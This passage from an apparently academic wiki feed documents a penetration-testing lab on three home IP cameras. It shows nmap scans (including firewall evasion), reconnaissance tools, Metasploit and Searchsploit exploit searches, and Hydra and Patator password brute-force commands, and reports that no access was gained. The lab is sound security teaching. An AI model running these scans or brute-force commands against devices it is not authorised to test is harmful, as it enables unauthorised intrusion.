| [[File:Dns-reverse-tplink.png | 400px]] || [[File:Dnsreverse-ezviz.jpg | 400px]] || [[File:Dns-reverse-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Perform an aggressive scan and service version detection:&lt;br /&gt;
 $sudo nmap -sV -A &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Agscan tplink.png | 400px]] || [[File:Agscan-evziz.png | 400px]] || [[File:Agscan abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP ports:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sT        &amp;lt;i&amp;gt;TCP connect port scan (Default without root privilege)&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sU        &amp;lt;i&amp;gt;UDP port scan&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:tcp-tplink.png | 400px]] || [[File:tcp-evziz.png | 400px]] || [[File:Tcp-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:udp-tplink.png | 400px]] || [[File:udp-e.png | 400px]] || [[File:udp-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Host discovery and port scan:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sn        &amp;lt;i&amp;gt;Disable port scanning. Host discovery only&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -Pn        &amp;lt;i&amp;gt;Disable host discovery. Port scan only (If the host is down)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:sn-tplink.png | 400px]] || [[File:sn-e.png | 400px]] || [[File:sn-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:pn-tplink.png | 400px]] || [[File:pn-e.png | 400px]] || [[File:pn-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Port Specification:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -p-        &amp;lt;i&amp;gt;Scan all ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:port-tpp.png | 400px]] || [[File:port-e.png | 400px]] || [[File:port-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS Detection:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -O         &amp;lt;i&amp;gt;Remote OS detection using TCP/IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:o-tplink.png | 400px]] || [[File:o-e.png | 400px]] || [[File:o-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FIN-scan:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sF        &amp;lt;i&amp;gt;Scanner sends FIN segments&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:sf-tplink.png | 400px]] || [[File:sf-e.png | 400px]] || [[File:sf-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Firewall Evasion Technique:&lt;br /&gt;
 $sudo nmap -f &amp;lt;target IP&amp;gt;                       &amp;lt;i&amp;gt; augment packets &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:f-tplink.png | 400px]] || [[File:f-e.png | 400px]] || [[File:f-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Use a set of scripts from the /usr/share/nmap/scripts/ directory:&lt;br /&gt;
 $sudo nmap -sV --script $SCRIPT &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:script-tplink.png | 400px]] || [[File:script-e.png | 400px]] || [[File:script-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Aggressive Scan:&lt;br /&gt;
 $sudo nmap -Pn -sS -sV -version-all --reason -v -A -O --osscan-guess &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:scan-tplink.png | 400px]] || [[File:scan-e.png | 600px]] || [[File:scan-abus.jpg | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Spiderfoot&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Spiderfoot uses various modules to collect information and it can collect information about the target host through the scanning options available in the Spiderfoot Framework.&lt;br /&gt;
 $spiderfoot -l &amp;lt;target IP&amp;gt;:&amp;lt;target Port&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:spiderfoot-tplink.png | 400px]] || [[File:spiderfoot-e.png | 800px]] || [[File:spiderfoot-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dmitry&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Dmitry Tool can be used to search subdomains of the target, find open ports of the target system, perform TCP scan, find operating system information, web server details, web host details, hosting service details, registered domain, name, address, the contact information of the person who registered it, find email addresses that are associated with the domain of the target.&lt;br /&gt;
 $dimitry -p -l &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:dmitry-tplink.png | 400px]] || [[File:dmitry-e.png | 400px]] || [[File:dmitry-abus.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;The Harvester&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
With the Harvester, you can gather information like emails, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and SHODAN computer database.&lt;br /&gt;
&lt;br /&gt;
 $theHarvester -d &amp;lt;target IP&amp;gt; -l 1000 -b google&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:harvester-tplink.png | 400px]] || [[File:harvester-e.png | 400px]] || [[File:harvester-abus.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;HackerEnv&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
HackerEnv is an automated tool developed in the Bash language that quickly performs port scans, scans target IP addresses for vulnerabilities, and retrieves exploits to form the Searchsploit utility.&lt;br /&gt;
 $git clone https://github.com/abdulr7mann/hackerEnv.git&lt;br /&gt;
 $cd hackerEnv&lt;br /&gt;
 $chmod +x hackerEnv&lt;br /&gt;
 $bash hackerEnv -t &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:hacker-tplink.png | 400px]] || [[File:hacker-e.png | 400px]] || [[File:hacker-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Legion&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Legion works with a GUI which can perform automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer, and more (with almost 100 auto-scheduled scripts). It is already installed on Kali Linux 2022.2.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:legion-tplink.jpg.png | 400px]] || [[File:legion-e.png | 400px]] || [[File:legion-abuss.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nessus&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Nessus is a special software, so-called vulnerability scanner, that inspects systems for security gaps and vulnerabilities. It can be used to identify local and remote vulnerabilities, to audit configuration and compliance, verify default credentials, and scan web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 $sudo dpkg -i &amp;lt;Nessus deb file&amp;gt;&lt;br /&gt;
 $/bin/systemctl start nessusd.service&lt;br /&gt;
 go to https://kali:8834/ to configure the scanner&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:nessus-tplink.png | 200px]] || [[File:nessus-e.png | 400px]] || [[File:nessus-abus2.png | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wireshark&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Wireshark is a protocol analyzer. It is an essential tool for safety experts or gadget administrators. It is used to investigate the shape of various community protocols and has the ability to illustrate applications.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:wireshark-tplink.png | 400px]] || [[File:wireshark-ev.png | 800px]] || [[File:wireshark-abus.png | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Exploitation Tools ===&lt;br /&gt;
&amp;lt;b&amp;gt;Metasploit&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Test your camera for security gaps with the help of the framework provided by Metasploit. &lt;br /&gt;
You can use the various exploits collected by the framework to perform various security and penetration tests on your distributed target system. &lt;br /&gt;
The attack method (exploit) and the executed code (payload) are separated. &lt;br /&gt;
Exploits need to be specially tuned for various security gaps in software and hardware. &lt;br /&gt;
This code is used when the attack method is successful and can break into or compromise the system.&lt;br /&gt;
&lt;br /&gt;
 msf6 &amp;gt; search &amp;lt;open port protocol&amp;gt;           &amp;lt;i&amp;gt;Search for exploits of open ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C&lt;br /&gt;
|-&lt;br /&gt;
| [[File:metasploit-tplink.png | 400px]] [[File:ssl-tplink.png | 400px]] || [[File:metasploit-rtsp.png | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Searchsploit&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
The SearchSploit utility is a local copy of the Exploit Database and it searches this database to find exploits for various software and services found during the penetration testing phase. You can also use this utility to inspect an exploit and make a copy that you can modify for use on a particular host.&lt;br /&gt;
&lt;br /&gt;
 $searchsploit &amp;lt;open port protocol&amp;gt;           &amp;lt;i&amp;gt;Search for exploits of open ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C&lt;br /&gt;
|-&lt;br /&gt;
| [[File:searchsploit-abyss.png | 400px]] || [[File:searchspoit-rtsp.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hydra and Patator &amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Hydra and Patator are login crackers that support numerous attack protocols.  These tools make it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. They are used to brute-force usernames and passwords to different services such as ftp, ssh, telnet, MS-SQL, etc.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
You can access the wordlist in a directory by using the below command.&lt;br /&gt;
 $cd /usr/share/wordlists&lt;br /&gt;
&lt;br /&gt;
 $hydra &amp;lt;Target_IP&amp;gt; ssh -l &amp;lt;username&amp;gt; -P &amp;lt;password_file&amp;gt; -s 22 -vV                          &amp;lt;i&amp;gt;to brute-force SSH username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
 $hydra -L &amp;lt;username_file&amp;gt; -P &amp;lt;password_file&amp;gt; ftp://&amp;lt;Target_IP&amp;gt;                             &amp;lt;i&amp;gt;to brute-force FTP username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
 $hydra -l &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt; telnet://&amp;lt;Target_IP&amp;gt;                                    &amp;lt;i&amp;gt;to brute-force Telnet username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:hydra-tplink.png | 400px]] || [[File:ssh-e.png | 600px]] || [[File:ssh-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 $patator rdp_login host=&amp;lt;target IP&amp;gt; user=FILE0 0=&amp;lt;username_file&amp;gt; password=FILE1 1=&amp;lt;password_file&amp;gt; -x ignore:code=131&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
|-&lt;br /&gt;
| [[File:patator.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Report ===&lt;br /&gt;
All three cameras have motion and audio detection capabilities, and the app will notify you when motion is detected. Live video is also possible. &lt;br /&gt;
TP-Link saves the data for user registration and communication with external cloud services from Amazon Web Services, Inc. (410 Terry Avenue North, Seattle WA 98109, United States; &amp;quot;AWS&amp;quot;), and Evziz uses its own Evziz Cloud.&lt;br /&gt;
Unlike Abus and Evziz, you cannot store data on a MicroSD card on the kasa cam. All bits of the video are protected by industry-standard 128-bit AES encryption using SSL / TLS. &lt;br /&gt;
EZVIZ Cloud provides a dual encryption solution that covers both server-side and client-side encryption, so data transmission between the device and the cloud is encrypted end-to-end. It also advises users to make sure that the data is stored on the physical device in encrypted form. This reduces the risks associated with unauthorized access of data to physical devices. All cameras use the WiFi connection protocol which supports WEP and WPA / WPA2 encryption.&lt;br /&gt;
&lt;br /&gt;
The scan tools has detected four open ports on TP-Link&#039;s with the service abyss and cirrossp. The Evziz camera had four open ports running RTSP, http-alt, trivnet1, and sdr services. &lt;br /&gt;
The Abus camera had no open ports, only the MAC address was displayed. &lt;br /&gt;
TP-Link uses TCP as traceroute, Evziz uses ICMP and Abus uses broadcast.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The final Nmap scan on Kasa Cam showed that the device type is a webcam. Nmap is guessing that the Garmin Embedded is running on the camera. The OS CPE is cpe:/h:/garmin:virb_elite and it has to be a Garmin Virb Elite action camera. Using Evziz Cam, Nmap thinks that the operating system Linux is probably running on the camera.&lt;br /&gt;
&lt;br /&gt;
The exploit tools did not detect abyss and cirrossp exploits. The RTSP protocol on the Evziz camera had several exploits, but none of them has led to remote access. The login crackers could not infer login data. Based on these results, we would advise our client not to take new security measures.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.owasp.org/index.php/Main_Page&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
* https://nmap.org/&lt;br /&gt;
* https://www.spiderfoot.net/&lt;br /&gt;
* https://www.kali.org/tools/dmitry/&lt;br /&gt;
* https://github.com/laramies/theHarvester&lt;br /&gt;
* https://github.com/abdulr7mann/hackerEnv&lt;br /&gt;
* https://govanguard.com/legion/&lt;br /&gt;
* https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;br /&gt;
* https://www.kali.org/tools/wireshark/&lt;br /&gt;
* https://www.metasploit.com/&lt;br /&gt;
* https://www.speedguide.net/ports.php&lt;br /&gt;
* https://www.exploit-db.com/&lt;br /&gt;
* https://github.com/vanhauser-thc/thc-hydra&lt;br /&gt;
* https://github.com/lanjelot/patator&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=10149</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=10149"/>
		<updated>2022-06-22T09:01:16Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud and/or MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Pre-Engagement Interactions&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Working with a client to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
There are three ways to run the test. In our case, the tester is doing a black-box test, which means the tester doesn&#039;t know anything about the system to be tested, i.e. he/she has to act as a hacker. The pentester needs to create a contract with the client on when, how, and what to test.&lt;br /&gt;
In addition, there should be a privilege explanation and a non-disclosure agreement between the pentester and the client. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Collecting and examing key data regarding the software and its infrastructure. We recommend creating an architectural sketch (deployment diagram).&lt;br /&gt;
The camera software itself may not be threateningly modelable, but you need to identify the protocol for all the surrounding systems that the camera needs to communicate with. After that, you should identify who uses the protocol and who accesses them.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Threat Modeling&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Threat modeling is an established technique of figuring out and prioritizing ability threats to a system and figuring out the value that ability mitigations might have in decreasing or neutralizing one&#039;s threats. A threat is a set of situations that might purpose harm, which means a hypothetical action where the attacker exploits a vulnerability.&lt;br /&gt;
3 main types of threats in the IoT are taking control, stealing information, and disrupting service. &amp;lt;br&amp;gt;&lt;br /&gt;
The OWASP Top 10 is a standard awareness document that represents a broad consensus about the most critical security risks to web applications.&lt;br /&gt;
This includes the following top 10 IOT vulnerabilities: weak passwords, insecure network services, insecure ecosystem interfaces, lack of secure update mechanism, use of insecure or outdated components, insufficient privacy protection, insecure data transfer and storage, lack of device management, insecure default settings and lack of physical hardening. &amp;lt;br&amp;gt;&lt;br /&gt;
These elements should be considered: IoT device, cloud, mobile application, network interfaces, software, use of encryption, use of authentication, physical security, and USB ports. &lt;br /&gt;
Suppose you have an IP camera installed and you want to log in remotely to monitor your home situation. Such a simple implementation poses many risk factors and creates a  huge attack surface in the environment. An attacker could remotely scan for a vulnerability in an IP camera, brute force, connect (if you have a blackdoor or the same hard-coded SSH key), and exploit it.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Vulnerability Analysis&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase. Exploitation can be software, shellcode, certain command, code injection, remote exploit without any prior access, and local exploit with prior access to the system. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Post Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;After successful exploitation, it&#039;s far crucial to report all steps and tools - so that you can demonstrate the impact and possible consequences of the vulnerabilities to the client.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Providing a complete report with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. It consists of two parts: An executive summary and a technical report. The executive summary provides a background overview, test overview, risk profile, general findings, an overview of the tasks required to mitigate the problem, and short-term and long-term goals to improve security increase. &lt;br /&gt;
It is important to document how easy it was to find this vulnerability and what the countermeasures are. The risk analysis is the most important part because the pentester needs to consider how high the risk of the detected vulnerabilities is and how these vulnerabilities could affect the company.&lt;br /&gt;
These results are used to make company decisions that can have a significant impact on the company. &lt;br /&gt;
The technical report details the intelligence collection and vulnerability testing results, and the client&#039;s internet footprint.&lt;br /&gt;
&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Resolution &amp;amp; Re-Testing&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt; The client follows the recommendations and after completing patching the vulnerabilities a re-test is run. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Set-up ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
We recommend that you create a virtual machine and after that, you need to install Kali Linux on your VM. With this operating system, many tools are already pre-installed and ready to use.&lt;br /&gt;
&lt;br /&gt;
=== Scanning Tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Nmap Scans will give you important information about the target system.&lt;br /&gt;
&lt;br /&gt;
Target specification:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt;            &amp;lt;i&amp;gt;Scan a single IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Firstscan.jpg | 400px]] || [[File:Firstscan ezviz.jpg | 400px]] || [[File:Firstscan abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DNS query on a specific host:&lt;br /&gt;
 $sudo namp -sL &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Dsn tplink.jpg |400px]] || [[File:Dsn ezviz.png | 400px]] || [[File:Dns abuss.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Force reverse DNS resolution:&lt;br /&gt;
 $sudo nmap -R &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Dns-reverse-tplink.png | 400px]] || [[File:Dnsreverse-ezviz.jpg | 400px]] || [[File:Dns-reverse-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Perform an aggressive scan and service version detection:&lt;br /&gt;
